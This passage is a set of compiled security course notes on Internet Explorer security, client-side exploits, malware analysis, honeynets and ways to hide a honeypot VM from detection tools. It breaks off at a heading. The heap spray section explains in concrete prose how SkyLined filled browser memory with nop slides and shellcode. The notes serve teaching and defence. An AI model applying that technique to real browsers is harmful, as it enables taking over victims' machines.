4. Phishing Filter: Internet Explorer includes a built-in phishing filter that attempts to detect and warn users about
fraudulent websites attempting to steal personal information.
5. Cross-Site Scripting (XSS) Filter: Internet Explorer has a feature that tries to detect and prevent cross-site
scripting (XSS) attacks by analyzing scripts and content on web pages.
6. Compatibility View: Internet Explorer has a "Compatibility View" mode that allows users to view websites
designed for older versions of the browser or other browsers with rendering issues. However, using this mode can
potentially introduce security risks as it might disable certain security features.
7. Updates and Patches: Regularly updating Internet Explorer with the latest security patches is critical to address
known vulnerabilities and ensure a more secure browsing experience.
8. Add-ons and Extensions: Internet Explorer allows users to install various add-ons and extensions to enhance
browser functionality. However, malicious or poorly designed add-ons can introduce security vulnerabilities.
Users should be cautious when installing third-party extensions and only use trusted sources.
9. SSL and TLS: Internet Explorer supports Secure Socket Layer (SSL) and Transport Layer Security (TLS)
protocols for secure communication between the browser and web servers. Users and website administrators
should ensure that the latest, most secure versions of these protocols are used.
10. Security Best Practices: Users should follow general security best practices such as using strong and unique
 passwords, enabling a firewall, using an up-to-date antivirus program, and being cautious when clicking on links
or downloading files from unknown sources.

While Internet Explorer can still be found in some older systems or corporate environments, it is generally
recommended to use more modern and secure browsers with active support and regular security updates. For
personal use, browsers like Microsoft Edge, Google Chrome, and Mozilla Firefox are widely regarded as more
secure and feature-rich alternatives to Internet Explorer.

history of client- side exploits and latest trends:

Client-side exploits have a long history in the field of cybersecurity, and they continue to be a significant concern
for users and organizations worldwide. Let's take a look at the history of client-side exploits and some of the
latest trends:

History of Client-Side Exploits:

1. Early Years (1990s): In the early days of the internet, client-side exploits were relatively simple and often
involved exploiting vulnerabilities in browser plugins like Java and ActiveX. These exploits allowed attackers to
execute code on the victim's system or steal sensitive information.
2. JavaScript-Based Attacks (2000s): As JavaScript became a more popular scripting language for web
development, attackers started using it for client-side attacks. Cross-Site Scripting (XSS) attacks emerged,
allowing hackers to inject malicious scripts into websites and steal data or perform actions on behalf of the
victim.
3. Drive-By Downloads (2000s): In the mid-2000s, "drive-by downloads" became prevalent. Attackers would
compromise legitimate websites and inject malicious code into them. When users visited these sites, their
browsers would automatically download and execute malware without any interaction or knowledge from the
user.
4. PDF and Office Document Exploits (2000s): Attackers started exploiting vulnerabilities in PDF readers and
office document applications (e.g., Microsoft Office) to deliver malware through malicious attachments or
embedded scripts in documents.
5. Flash and Browser Plugins (2000s-2010s): Flash and other browser plugins were common targets for client-
side exploits. Many of these plugins had security vulnerabilities that were actively exploited by attackers.
6. Sandboxing and Mitigations (2010s): Browser vendors started implementing sandboxing and other security
mitigations to prevent malicious code from escaping the browser's execution environment and affecting the
underlying system. These measures made it more challenging for attackers to achieve full system compromise.

Latest Trends in Client-Side Exploits:

1. Browser Security Enhancements: Modern browsers have implemented various security enhancements, such as
site isolation, process sandboxing, and stricter enforcement of Content Security Policy (CSP), which have made it
more difficult for attackers to execute successful client-side exploits.
2. Phishing and Social Engineering: While sophisticated technical exploits are still prevalent, attackers
increasingly rely on social engineering techniques and phishing to trick users into downloading and executing
 malicious code.
3. Exploits in Browser Extensions: Browser extensions are now a popular target for attackers. Malicious or poorly
designed extensions can compromise a user's browsing experience and expose sensitive data.
4. Web Applications as Attack Vectors: Web applications can unwittingly serve as attack vectors if they are not
securely designed and coded. Vulnerabilities like XSS, SQL injection, and Cross-Site Request Forgery (CSRF)
are still actively exploited.
5. Supply Chain Attacks: Attackers may compromise the software supply chain, injecting malicious code into
legitimate software updates or packages, leading to widespread distribution of malware.
6. Zero-Day Vulnerabilities: Attackers are constantly seeking and exploiting zero-day vulnerabilities, which are
previously unknown and unpatched security flaws. These exploits can be highly valuable and difficult to defend
against.
7. Mobile Exploits: As mobile devices become more prevalent, attackers are increasingly targeting client-side
vulnerabilities in mobile browsers and applications to gain access to sensitive data or conduct surveillance.

To protect against client-side exploits, users and organizations should follow security best practices, keep their
software up-to-date, use modern and secure browsers, employ security solutions (e.g., antivirus and endpoint
protection), and practice caution when clicking on links or downloading files from unknown sources.
Additionally, security awareness training can help educate users about the risks of social engineering and
phishing attacks.

finding new browser-based vulnerabilities heap spray to exploit:

Finding new browser-based vulnerabilities is a critical task for cybersecurity researchers, software developers,
and organizations to proactively identify and mitigate potential security risks. Here are some techniques and
approaches used to discover new browser-based vulnerabilities:

1. Security Research and Bug Bounty Programs: Security researchers often focus on examining browser code,
plugins, and extensions to find potential vulnerabilities. Some researchers participate in bug bounty programs
offered by browser vendors, where they are rewarded for responsibly disclosing newly discovered vulnerabilities.
2. Fuzzing: Fuzzing is a technique that involves sending large amounts of random or structured data as inputs to the
browser to see if it triggers unexpected behavior or crashes. Fuzzing tools can help identify potential
vulnerabilities in the parsing and handling of various file formats (e.g., images, documents) and input validation
routines.
3. Code Review and Static Analysis: Analyzing the source code of browsers and related components can reveal
potential security weaknesses, such as buffer overflows, memory corruption, or improper handling of user input.
Static analysis tools help automate this process and identify patterns that may indicate vulnerabilities.
4. Dynamic Analysis and Penetration Testing: Security professionals use dynamic analysis and penetration
testing to assess browser security. This involves running browsers in controlled environments, monitoring
network traffic, and analyzing runtime behavior to detect security flaws.
5. Web Application Security Testing: Since modern browsers are extensively used to access web applications,
security assessments (e.g., web application penetration testing) often reveal browser-based vulnerabilities in the
context of specific web applications.
6. Emulation and Sandboxing: Researchers may use emulators and sandboxes to recreate browser environments,
 enabling them to analyze the behavior of potentially malicious websites or code in a controlled manner.
7. Third-Party Plugin Analysis: Researchers investigate the security of third-party plugins/extensions/add-ons, as
they can introduce vulnerabilities that impact browser security.
8. Exploit Development: After discovering potential vulnerabilities, some researchers may develop proof-of-
concept exploits to demonstrate the severity of the issue to browser vendors and encourage prompt patching.
9. Monitoring and Analyzing Security Reports: Researchers stay informed about public security advisories,
exploit disclosures, and discussions on vulnerability disclosure platforms to learn about new or emerging
browser-based vulnerabilities.
10. Bug Bounty Platforms: Various bug bounty platforms provide a platform for researchers to report and get
rewarded for responsibly disclosing browser-based vulnerabilities to organizations.

It's important to note that discovering new vulnerabilities requires a combination of technical expertise,
creativity, and persistent testing. Responsible disclosure is crucial; researchers should report their findings to the
relevant browser vendors, who can then work on patches and address the issues before public disclosure.

Ultimately, the collaborative efforts of security researchers, organizations, and browser vendors play a vital role
in enhancing browser security and ensuring a safer online experience for users.

Heap Spray to Exploit

Back in the day, security experts believed that buffer overruns on the stack were exploitable, but that heap-based
buffer overruns were not. And then techniques emerged to make too-large buffer overruns into heap memory
exploitable for code execution. But some people still believed that crashes due to a component jumping into
uninitialized or bogus heap memory were not exploitable. However, that changed with the introduction of
InternetExploiter from a hacker named Skylined.

InternetExploiter

How would you control execution of an Internet Explorer crash that jumped off into random heap memory and
died? That was probably the question Skylined asked himself in 2004 when trying to develop an exploit for the
IFRAME vulnerability that was eventually fixed with MS04-040. The answer is that you would make sure the
heap location jumped to is populated with your shellcode or a nop sled leading to your shellcode. But what if you
don’t know where that location is, or what if it continually changes? Sky-lined’s answer was just to fill the
process’s entire heap with nop sled and shellcode! This is called “spraying” the heap.

An attacker-controlled web page running in a browser with JavaScript enabled has a tremendous amount of
control over heap memory. Scripts can easily allocate an arbitrary amount of memory and fill it with anything. To
fill a large heap allocation with nop slide and shellcode, the only trick is to make sure that the memory used stays
as a contiguous block and is not broken up across heap chunk boundaries. Skylined knew that the heap memory
manager used by IE allocates large memory chunks in 0x40000-byte blocks with 20 bytes reserved for the heap
header. So a 0x40000 - 20 byte allocation would fit neatly and completely into one heap block. InternetExploiter
program-matically concatenated a nop slide (usually 0x90 repeated) and the shellcode to be the proper size
allocation. It then created a simple JavaScript Array() and filled lots and lots of array elements with this built-up
heap block. Filling 500+ MB of heap memory with nop slide and shellcode grants a fairly high chance that the IE
memory error jumping off into “random” heap memory will actually jump into InternetExploiter-controlled heap
memory.

In the “References” section that follows, we’ve included a number of real-world exploits that used
InternetExploiter to heap spray. The best way to learn how to turn IE crashes jumping off into random heap
memory into reliable, repeatable exploits via heap spray is to study these examples and try out the concepts for
yourself. You should try to build an unpatched XPSP1 VPC with the Windows debugger for this purpose.
Remove the heap spray from each exploit and watch as IE crashes with execution pointing out into random heap
memory. Then try the exploit with heap spray and inspect memory after the heap spray finishes before the
vulnerability is triggered. Finally, step through the assembly when the vulnerability is triggered and watch how
the nop slide is encountered and then the shellcode is run.

protecting yourself from client-side exploit:

Protecting Yourself from Client-Side Exploits

This chapter was not meant to scare you away from browsing the Web or using e-mail. The goal was to outline
how browser-based client-side attacks happen and what access an attacker can leverage from a successful attack.
We also want to point out how you can either protect yourself completely from client-side attacks, or drastically
reduce the effect of a successful client-side attack on your workstation.

Keep Up-to-Date on Security Patches

This one can almost go without saying, but it’s important to point out that most real-world compromises are not
due to zero-day attacks. Most compromises are the result of unpatched workstations. Leverage the convenience
of automatic updates to apply Internet Explorer security updates as soon as you possibly can. If you’re in charge
of the security of an enterprise network, conduct regular scans to find workstations that are missing patches and
get them updated. This is the single most important thing you can do to protect yourself from malicious
cyberattacks of any kind.

Stay Informed

Microsoft is actually pretty good about warning users about active attacks abusing unpatched vulnerabilities in
Internet Explorer. Their security response center blog (http://blogs.technet.com/msrc/) gives regular updates
about attacks, and their security advisories (www.microsoft.com/technet/security/advisory/) give detailed
workaround steps to protect from vulnerabilities before the security update is available. Both are available as RSS
feeds and are low-noise sources of up-to-date, relevant security guidance and intelligence.

Run Internet-Facing Applications with Reduced Privileges

Even with all security updates applied and having reviewed the latest security information available, you still
might be the target of an attack abusing a previously unknown vulnerability or a particularly clever social-
engineering scam. You might not be able to prevent the attack, but there are several ways you can prevent the
payload from running.

First, Internet Explorer 7 on Windows Vista runs by default in Protected Mode. This means that IE operates at
low rights even if the logged-in user is a member of the Administrators group. More specifically, IE will be
unable to write to the file system or registry and will not be able to launch processes. Lots of magic goes on under
the covers and you can read more about it by browsing the links in the references. One weakness of Protected
Mode is that an attack could still operate in memory and send data off the victim workstation over the Internet.
However, it works great to prevent user-mode or kernel-mode rootkits from being loaded via a client-side
vulnerability in the browser.

Only Vista has the built-in infrastructure to make Protected Mode work. However, given a little more work, you
can run at a reduced privilege level on down-level platforms as well. One way is via a SAFER Software
Restriction Policy (SRP) on Windows XP and later. The SAFER SRP allows you to run any application (such as
Internet Explorer) as a Normal/Basic User, Constrained/Restricted User, or as an Untrusted User. Running as a
Restricted or Untrusted User will likely break lots of stuff because %USERPROFILE% is inaccessible and the
registry (even HKCU) is read-only. However, running as a Basic User simply removes the Administrator SID
from the process token. (You can learn more about SIDs, tokens, and ACLs in the next chapter.) Without
administrative privileges, any malware that does run will not be able to install a key logger, install or start a
server, or install a new driver to establish a rootkit. However, the malware still runs on the same desktop as other
processes with administrative privileges, so the especially clever malware could inject into a higher privilege
process or remotely control other processes via Windows messages. Despite those limitations, running as a
limited user via a SAFER Software Restriction Policy greatly reduces the attack surface exposed to client-side
attacks. You can find a great article by Michael Howard about SAFER in the “References” section that follows.

Mark Russinovich, formerly on SysInternals and now a Microsoft employee, also published a way that users
logged-in as administrators can run IE as limited users. His psexec command takes a -l argument that will strip
out the administrative privileges from the token. The nice thing about psexec is that you can create shortcuts on
the desktop for a “normal,” fully privileged IE session or a limited user IE session. Using this method is as simple
as downloading psexec from sysinternals.com, and creating a new shortcut that launches something like the
following:

psexec -l -d "c:\Program Files\Internet Explorer\IEXPLORE.EXE"

Malware Analysis: Collecting Malware

What is Malware Analysis?

Malware analysis is the process of understanding the behavior and purpose of a suspicious file or URL. The
output of the analysis aids in the detection and mitigation of the potential threat.
The key benefit of malware analysis is that it helps incident responders and security analysts:

 Pragmatically triage incidents by level of severity

 Uncover hidden indicators of compromise (IOCs) that should be blocked
 Improve the efficacy of IOC alerts and notifications
 Enrich context when threat hunting

Types of Malware Analysis

The analysis may be conducted in a manner that is static, dynamic or a hybrid of the two.

Static Analysis

Basic static analysis does not require that the code is actually run. Instead, static analysis examines the file
for signs of malicious intent. It can be useful to identify malicious infrastructure, libraries or packed files.

Technical indicators are identified such as file names, hashes, strings such as IP addresses, domains, and file
header data can be used to determine whether that file is malicious. In addition, tools like disassemblers and
network analyzers can be used to observe the malware without actually running it in order to collect
information on how the malware works.

However, since static analysis does not actually run the code, sophisticated malware can include
malicious runtime behavior that can go undetected. For example, if a file generates a string that then
downloads a malicious file based upon the dynamic string, it could go undetected by a basic static analysis.
Enterprises have turned to dynamic analysis for a more complete understanding of the behavior of the file.

Dynamic Analysis

Dynamic malware analysis executes suspected malicious code in a safe environment called
a sandbox. This closed system enables security professionals to watch the malware in action without the risk
of letting it infect their system or escape into the enterprise network.

Dynamic analysis provides threat hunters and incident responders with deeper visibility, allowing them to
uncover the true nature of a threat. As a secondary benefit, automated sandboxing eliminates the time it
would take to reverse engineer a file to discover the malicious code.

The challenge with dynamic analysis is that adversaries are smart, and they know sandboxes are out there, so
they have become very good at detecting them. To deceive a sandbox, adversaries hide code inside them that
may remain dormant until certain conditions are met. Only then does the code run.
Hybrid Analysis (includes both of the techniques above)

Basic static analysis isn’t a reliable way to detect sophisticated malicious code, and sophisticated malware
can sometimes hide from the presence of sandbox technology. By combining basic and dynamic analysis
techniques, hybrid analysis provide security team the best of both approaches – primarily because it can
detect malicious code that is trying to hide, and then can extract many more indicators of compromise
(IOCs) by statically and previously unseen code. Hybrid analysis helps detect unknown threats, even those
from the most sophisticated malware.

For example, one of the things hybrid analysis does is apply static analysis to data generated by behavioral
analysis – like when a piece of malicious code runs and generates some changes in memory. Dynamic
analysis would detect that, and analysts would be alerted to circle back and perform basic static analysis on
that memory dump. As a result, more IOCs would be generated and zero-day exploits would be exposed.

Malware Analysis Use Cases

Malware Detection

Adversaries are employing more sophisticated techniques to avoid traditional detection mechanisms. By
providing deep behavioral analysis and by identifying shared code, malicious functionality or infrastructure,
threats can be more effectively detected. In addition, an output of malware analysis is the extraction of
IOCs. The IOCs may then be fed into SEIMs, threat intelligence platforms (TIPs) and security orchestration
tools to aid in alerting teams to related threats in the future.
Threat Alerts and Triage

Malware analysis solutions provide higher-fidelity alerts earlier in the attack life cycle. Therefore, teams can
save time by prioritizing the results of these alerts over other technologies.

Incident Response

The goal of the incident response (IR) team is to provide root cause analysis, determine impact and succeed
in remediation and recovery. The malware analysis process aids in the efficiency and effectiveness of this
effort.

Threat Hunting

Malware analysis can expose behavior and artifacts that threat hunters can use to find similar activity, such
as access to a particular network connection, port or domain. By searching firewall and proxy logs or SIEM
data, teams can use this data to find similar threats.

Malware Research

Academic or industry malware researchers perform malware analysis to gain an understanding of the latest
techniques, exploits and tools used by adversaries.
Stages of Malware Analysis

Static Properties Analysis

Static properties include strings embedded in the malware code, header details, hashes, metadata, embedded
resources, etc. This type of data may be all that is needed to create IOCs, and they can be acquired very
quickly because there is no need to run the program in order to see them. Insights gathered during the static
properties analysis can indicate whether a deeper investigation using more comprehensive techniques is
necessary and determine which steps should be taken next.

Interactive Behavior Analysis

Behavioral analysis is used to observe and interact with a malware sample running in a lab. Analysts seek to
understand the sample’s registry, file system, process and network activities. They may also
conduct memory forensics to learn how the malware uses memory. If the analysts suspect that the malware
has a certain capability, they can set up a simulation to test their theory.

Behavioral analysis requires a creative analyst with advanced skills. The process is time-consuming and
complicated and cannot be performed effectively without automated tools.

Fully Automated Analysis

Fully automated analysis quickly and simply assesses suspicious files. The analysis can determine potential
repercussions if the malware were to infiltrate the network and then produce an easy-to-read report that
provides fast answers for security teams. Fully automated analysis is the best way to process malware at
scale.

Manual Code Reversing

In this stage, analysts reverse-engineer code using debuggers, disassemblers, compilers and specialized tools
to decode encrypted data, determine the logic behind the malware algorithm and understand any hidden
capabilities that the malware has not yet exhibited. Code reversing is a rare skill, and executing code
reversals takes a great deal of time. For these reasons, malware investigations often skip this step and
therefore miss out on a lot of valuable insights into the nature of the malware.

The World’s Most Powerful Malware Sandbox

Security teams can use the CrowdStrike Falcon® Sandbox to understand sophisticated malware attacks and
strengthen their defenses. Falcon Sandbox™ performs deep analyses of evasive and unknown threats, and
enriches the results with threat intelligence.

Key Benefits Of Falcon Sandbox

 Provides in-depth insight into all file, network and memory activity
 Offers leading anti-sandbox detection technology
 Generates intuitive reports with forensic data available on demand
 Supports the MITRE ATT&CK® framework
 Orchestrates workflows with an extensive application programming interface (API) and pre-built
integrations

Detect Unknown Threats

Falcon Sandbox extracts more IOCs than any other competing sandbox solution by using a unique hybrid
analysis technology to detect unknown and zero-day exploits. All data extracted from the hybrid analysis
engine is processed automatically and integrated into Falcon Sandbox reports.

Falcon Sandbox has anti-evasion technology that includes state-of-the-art anti-sandbox detection. File
monitoring runs in the kernel and cannot be observed by user-mode applications. There is no agent that can
be easily identified by malware, and each release is continuously tested to ensure Falcon Sandbox is nearly
undetectable, even by malware using the most sophisticated sandbox detection techniques. The environment
can be customized by date/time, environmental variables, user behaviors and more.

Identify Related Threats

Know how to defend against an attack by understanding the adversary. Falcon Sandbox provides insights
into who is behind a malware attack through the use of malware search a unique capability that determines
whether a malware file is related to a larger campaign, malware family or threat actor. Falcon Sandbox will
automatically search the largest malware search engine in the cybersecurity industry to find related samples
and, within seconds, expand the analysis to include all files. This is important because it provides analysts
with a deeper understanding of the attack and a larger set of IOCs that can be used to better protect the
organization.

Achieve Complete Visibility

Uncover the full attack life cycle with in-depth insight into all file, network, memory and process activity.
Analysts at every level gain access to easy-to-read reports that make them more effective in their roles. The
reports provide practical guidance for threat prioritization and response, so IR teams can hunt threats and
forensic teams can drill down into memory captures and stack traces for a deeper analysis. Falcon Sandbox
analyzes over 40 different file types that include a wide variety of executables, document and image formats,
and script and archive files, and it supports Windows, Linux and Android.

Respond Faster

Security teams are more effective and faster to respond thanks to Falcon Sandbox’s easy-to-understand
reports, actionable IOCs and seamless integration. Threat scoring and incident response summaries make
immediate triage a reality, and reports enriched with information and IOCs from CrowdStrike Falcon®
MalQuery™ and CrowdStrike Falcon® Intelligence™ provide the context needed to make faster, better
decisions.

Falcon Sandbox integrates through an easy REST API, pre-built integrations, and support for indicator-
sharing formats such as Structured Threat Information Expression™ (STIX), OpenIOC, Malware Attribute
Enumeration and Characterization™ (MAEC), Malware Sharing Application Platform (MISP) and
XML/JSON (Extensible Markup Language/JavaScript Object Notation). Results can be delivered with
 SIEMs, TIPs and orchestration systems.

Cloud or on-premises deployment is available. The cloud option provides immediate time-to-value and
reduced infrastructure costs, while the on-premises option enables users to lock down and process samples
solely within their environment. Both options provide a secure and scalable sandbox environment.

Automation

Falcon Sandbox uses a unique hybrid analysis technology that includes automatic detection and analysis of
unknown threats. All data extracted from the hybrid analysis engine is processed automatically and
integrated into the Falcon Sandbox reports. Automation enables Falcon Sandbox to process up to 25,000
files per month and create larger-scale distribution using load-balancing. Users retain control through the
ability to customize settings and determine how malware is detonated

Initial Analysis: Malware

During the initial analysis of malware, cybersecurity researchers aim to gather preliminary information about the
malicious software without executing it directly on a production system. This process is crucial to understanding
the malware's behavior, identifying its potential impact, and determining the appropriate steps for further
investigation and mitigation. Here are the key steps involved in the initial analysis of malware:

1. Sample Collection and Verification: Obtain the malware sample from a trusted source or a controlled
environment, ensuring the integrity of the file through cryptographic hash verification (e.g., MD5, SHA-256).
2. Isolation and Sandboxing: Execute the malware in an isolated environment or sandbox. Sandboxing provides a
controlled space where the malware's behavior can be observed without affecting the underlying system.
3. Static Analysis: Examine the malware's code and structure without running it. Disassemble or decompile the
binary to analyze its assembly or high-level language representation. Static analysis provides insights into the
malware's functionality, encryption techniques, and possible attack vectors.
4. Dynamic Analysis: Execute the malware in a controlled environment to observe its behavior. Monitor system
changes, network communications, and file activity during runtime. Dynamic analysis helps identify the
malware's actions, such as file drops, registry modifications, network connections, and attempts to evade
detection.
5. Behavioral Indicators: Record the malware's behavior and look for behavioral indicators such as persistence
mechanisms, attempts to disable security tools, or communication with known malicious IP addresses.
6. Network Traffic Analysis: Capture and inspect network traffic generated by the malware. Identify the
communication protocol used, the command-and-control (C2) infrastructure, and any data exfiltration attempts.
7. Artifact Extraction: Extract any embedded files, configuration data, or payloads embedded within the malware
for further analysis.
8. Identify Known Indicators: Check the malware against known indicators of compromise (IOCs) and malware
signature databases to determine if the sample matches any known threats.
9. Static Detection: Use antivirus scanners and other static analysis tools to identify known signatures and patterns
 in the malware.
10. Threat Intelligence Feeds: Cross-reference the malware against threat intelligence feeds to gain insights into its
characteristics, possible origin, and associations with threat actors or campaigns.
11. Metadata Analysis: Check metadata and embedded information within the malware file for clues about the
origin, author, or other identifying details.
12. Preliminary Classification: Based on the observed behavior and characteristics, classify the malware as a
specific type (e.g., ransomware, trojan, worm) to understand its intended purpose.
13. Report Generation: Document the findings in a comprehensive report that includes all observed behaviors,
indicators, and initial analysis results. The report can be shared with relevant stakeholders for further action.

The initial analysis of malware serves as the foundation for further in-depth analysis, reverse engineering, and the
development of mitigation strategies. It helps cybersecurity professionals understand the threat posed by the
malware and aids in formulating an effective response to protect systems and networks from similar attacks.

Latest Trends in Honeynet Technology:

Latest Trends in Honeynet Technology

Speaking of arms races, as attacker technology evolves, the technology used by defenders has evolved too. This
cat and mouse game has been taking place for years as attackers try to go undetected and defenders try to detect
the latest threats and to introduce counter-measures to better defend their networks.

Honeypots

Honeypots are decoy systems placed in the network for the sole purpose of attracting hackers. There is no real
value in the systems, there is no sensitive information, and they just look like they are valuable. They are called
“honeypots” because once the hackers put their hand in the pot and taste the honey, they keep coming back for
more.

Honeynets

A honeypot is a single system serving as a decoy. A honeynet is a collection of systems posing as a decoy.
Another way to think about it is that a honeynet contains two or more honeypots as shown here:
Why Honeypots Are Used

There are many reasons to use a honeypot in the enterprise network, including deception and intelligence
gathering.

Deception as a Motive

The American Heritage Dictionary defines deception as “1. The use of deceit; 2. The fact or state of being
deceived; 3. A ruse; a trick.” A honeypot can be used to deceive attackers and trick them into missing the “crown
jewels” and setting off an alarm. The idea here is to have your honeypot positioned near a main avenue of
approach to your crown jewels.

Intelligence as a Motive

Intelligence has two meanings with regard to honeypots: (1) indications and warnings and (2) research.

Indications and Warnings

If properly set up, the honeypot can yield valuable information in the form of indications and warnings of an
attack. The honeypot by definition does not have a legitimate purpose, so any traffic destined for or coming from
the honeypot can immediately be assumed to be malicious. This is a key point that provides yet another layer of
defense in depth. If there is no known signature of the attack for the signature-based IDS to detect, and there is no
anomaly-based IDS watching that segment of the network, a honeypot may be the only way to detect malicious
activity in the enterprise. In that context, the honeypot can be thought of as the last safety net in the network and
as a supplement to the existing IDS.

Research

Another equally important use of honeypots is for research. A growing number of honeypots are being used in
the area of research. The Honeynet Project is the leader of this effort and has formed an alliance with many other
organizations. Daily, traffic is being captured, analyzed, and shared with other security professionals. The idea
here is to observe the attackers in a fishbowl and to learn from their activities in order to better protect networks
as a whole. The area of honeypot research has driven the concept to new technologies and techniques.

We will set up a research honeypot later in this chapter in order to catch some malware for analysis.

Limitations

As attractive as the concept of honeypots sounds, there is a downside. The disadvantages of honeypots are as
follows.

Limited Viewpoint

The honeypot will only see what is directed at it. It may sit for months or years and not notice anything. On the
other hand, case studies available on the Honeynet home page describe attacks within hours of placing the
honeypot online. Then the fun begins; however, if an attacker can detect that she is running in a honeypot, she
will take her toys and leave.

Risk

Anytime you introduce another system onto the network there is a new risk imposed. The amount of risk depends
on the type and configuration of the honeypot. The main risk imposed by a honeypot is the risk a compromised
honeypot poses to the rest of your organization. There is nothing worst than an attacker gaining access to your
honeypot and then using that honeypot as a leaping-off point to further attack your network. Another form of risk
imposed by honeypots is the downstream liability if an attacker uses the honeypot in your organization to attack
other organizations. To assist in managing risk, there are two types of honeypots: low interaction and high
interaction.

Low-Interaction Honeypots

Low-interaction honeypots emulate services and systems in order to fake out the attacker but do not offer full
access to the underlying system. These types of honeypots are often used in production environments where the
risk of attacking other production systems is high. These types of honeypots can supplement intrusion detection
technologies, as they offer a very low false-positive rate because everything that comes to them was unsolicited
and thereby suspicious.

honeyd

honeyd is a set of scripts developed by Niels Provos and has established itself as the de facto standard for low-
interaction honeypots. There are several scripts to emulate services from IIS, to telnet, to ftp, to others. The tool
is quite effective at detecting scans and very basic malware. However, the glass ceiling is quite evident if the
attacker or worm attempts to do too much.
Nepenthes

Nepenthes is a newcomer to the scene and was merged with the mwcollect project to form quite an impressive
tool. The value in this tool over Honeyd is that the glass ceiling is much, much higher. Nepenthes employs
several techniques to better emulate services and thereby extract more information from the attacker or worm.
The system is built to extract binaries from malware for further analysis and can even execute many common
system calls that shellcode makes to download secondary stages, and so on. The system is built on a set of
modules that process protocols and shellcode.

High-Interaction Honeypots

High-interaction honeypots, on the other hand, are often actual virgin builds of operating systems with few to no
patches and may be fully compromised by the attacker. High-interaction honeypots require a high level of
supervision, as the attacker has full control over the honeypot and can do with it as he will. Often, high-
interaction honeypots are used in a research role instead of a production role.

Types of Honeynets

As previously mentioned, honeynets are simply collections of honeypots. They normally offer a small network of
vulnerable honeypots for the attacker to play with. Honeynet technology provides a set of tools to present
systems to an attacker in a somewhat controlled environment so that the behavior and techniques of attackers can
be studied.

Gen I Honeynets

In May 2000, Lance Spitzner set up a system in his bedroom. A week later the system was attacked and Lance
recruited many of his friends to investigate the attack. The rest, as they say, is history and the concept of
honeypots was born. Back then, Gen I Honeynets used routers to offer connection to the honeypots and offered
little in the way of data collection or data control. Lance formed the organization honeynet.org that serves a vital
role to this day by keeping an eye on attackers and “giving back” to the security industry this valuable
information.

Gen II Honeynets

Gen II Honeynets were developed and a paper was released in June 2003 on the honeynet.org site. The key
difference is the use of bridging technology to allow the honeynet to reside on the inside of an enterprise
network, thereby attracting insider threats. Further, the bridge served as a kind of reverse firewall (called a
“honeywall”) that offered basic data collection and data control capabilities.

Gen III Honeynets

In 2005, Gen III Honeynets were developed by honeynet.org. The honeywall evolved into a product called roo
and greatly enhanced the data collection and data control capabilities while providing a whole new level of data
analysis through an interactive web interface called Walleye.

Architecture

The Gen III honeywall (roo) serves as the invisible front door of the honeynet. The bridge allows for data control
and data collection from the honeywall itself. The honeynet can now be placed right next to production systems,
on the same network segment as shown here:

Data Control

The honeywall provides data control by restricting outbound network traffic from the honeypots. Again, this is
vital to mitigate risk posed by compromised honeypots attacking other systems. The purpose of data control is to
balance the need for the compromised system to communicate with outside systems (to download additional tools
or participate in a command-and-control IRC session) against the potential of the system to attack others. To
accomplish data control, iptable (firewall) rate-limiting rules are used in conjunction with snort-inline (intrusion
prevention system) to actively modify or block outgoing traffic.
Data Collection

The honeywall has several methods to collect data from the honeypots. The following information sources are
forged together into a common format called hflow:

 Argus flow monitor

 Snort IDS

 P0f—passive OS detection

 Sebek defensive rootkit data from honeypots

 Pcap traffic capture

Data Analysis

The Walleye web interface offers an unprecedented level of querying of attack and forensic data. From the initial
attack, to capturing keystrokes, to capturing zero-day exploits of unknown vulnerabilities, the Walleye interface
places all of this information at your fingertips.

As can be seen in Figure 20-1, the interface is an analyst’s dream. Although the author of this chapter served as
the lead developer for roo, I think you will agree that this is “not your father’s honeynet” and really deserves
another look if you are familiar with Gen II technology.

Figure 20-1. The Walleye web interface of the new roo

There are many other new features of the roo Gen III Honeynet (too many to list here) and you are highly
encouraged to visit the honeynet.org website for more details and white papers.

Thwarting VMware Detection Technologies

As for the attackers, they are constantly looking for ways to detect VMware and other virtualization technologies.
As described in the references by Liston and Skoudis, there are several techniques used.

Tool Method

redPill Stored Interrupt Descriptor Table (SIDT) command retrieves the Interrupt Descriptor Table
(IDT) address and analyzes the address to determine whether VMware is used.

Scoopy Builds on SIDT/IDT trick of redPill by checking the Global Descriptor Table (GDT) and the
Local Descriptor Table (LDT) address to verify the results of redPill.

Doo Included with Scoopy tool, checks for clues in registry keys, drivers, and other differences
between the VMware hardware and real hardware.

Jerry Some of the normal x86 instruction set is overridden by VMware and slight differences can be
detected by checking the expected result of normal instruction with the actual result.

VmDetect VirtualPC introduces instructions to the x86 instruction set. VMware uses existing instructions
that are privileged. VmDetect uses techniques to see if either of these situations exists. This is
the most effective method and is shown next.
As Liston and Skoudis briefed in a SANS webcast and later published, there are some undocumented features in
VMware that are quite effective at eliminating the most commonly used signatures of a virtual environment.

Place the following lines in the .vmx file of a halted virtual machine:

isolation.tools.getPtrLocation.disable = "TRUE"
isolation.tools.setPtrLocation.disable = "TRUE"
isolation.tools.setVersion.disable = "TRUE"
isolation.tools.getVersion.disable = "TRUE"
monitor_control.disable_directexec = "TRUE"
monitor_control.disable_chksimd = "TRUE"
monitor_control.disable_ntreloc = "TRUE"
monitor_control.disable_selfmod = "TRUE"
monitor_control.disable_reloc = "TRUE"
monitor_control.disable_btinout = "TRUE"
monitor_control.disable_btmemspace = "TRUE"
monitor_control.disable_btpriv = "TRUE"
monitor_control.disable_btseg = "TRUE"

Caution

Although these commands are quite effective at thwarting redPill, Scoopy, Jerry,
VmDetect, and others, they will break some “comfort” functionality of the virtual
machine such as the mouse, drag and drop, file sharing, clipboard, and so on. These
settings are not documented by VMware—use at your own risk!
By loading a virtual machine with the preceding settings, you will thwart most tools like VmDetect.

Catching Malware: Setting the Trap

Catching Malware: Setting the Trap

In this section, we will set up a safe test environment and go about catching some malware. We will run VMware
on our host machine and launch Nepenthes in a virtual Linux machine to catch some malware. To get traffic to
our honeypot, we need to open our firewall or in my case, to set the IP of the honeypot as the DMZ host on my
firewall.

VMware Host Setup

For this test, we will use VMware on our host and set our trap using this simple configuration:
Caution

There is a small risk in running this setup; we are now trusting this honeypot within
our network. Actually, we are trusting the Nepenthes program to not have any
vulnerabilities that can allow the attacker to gain access to the underlying system. If
this happens, the attacker can then attack the rest of our network. If you are
uncomfortable with that risk, then set up a honeywall.

VMware Guest Setup

For our VMware guest we will use the security distribution of Linux called BackTrack, which can be found
at www.remote-exploit.org. This build of Linux is rather secure and well maintained. What I like about this build
is the fact that no services (except bootp) are started by default; therefore no dangerous ports are open to be
attacked.

Using Nepenthes to Catch a Fly

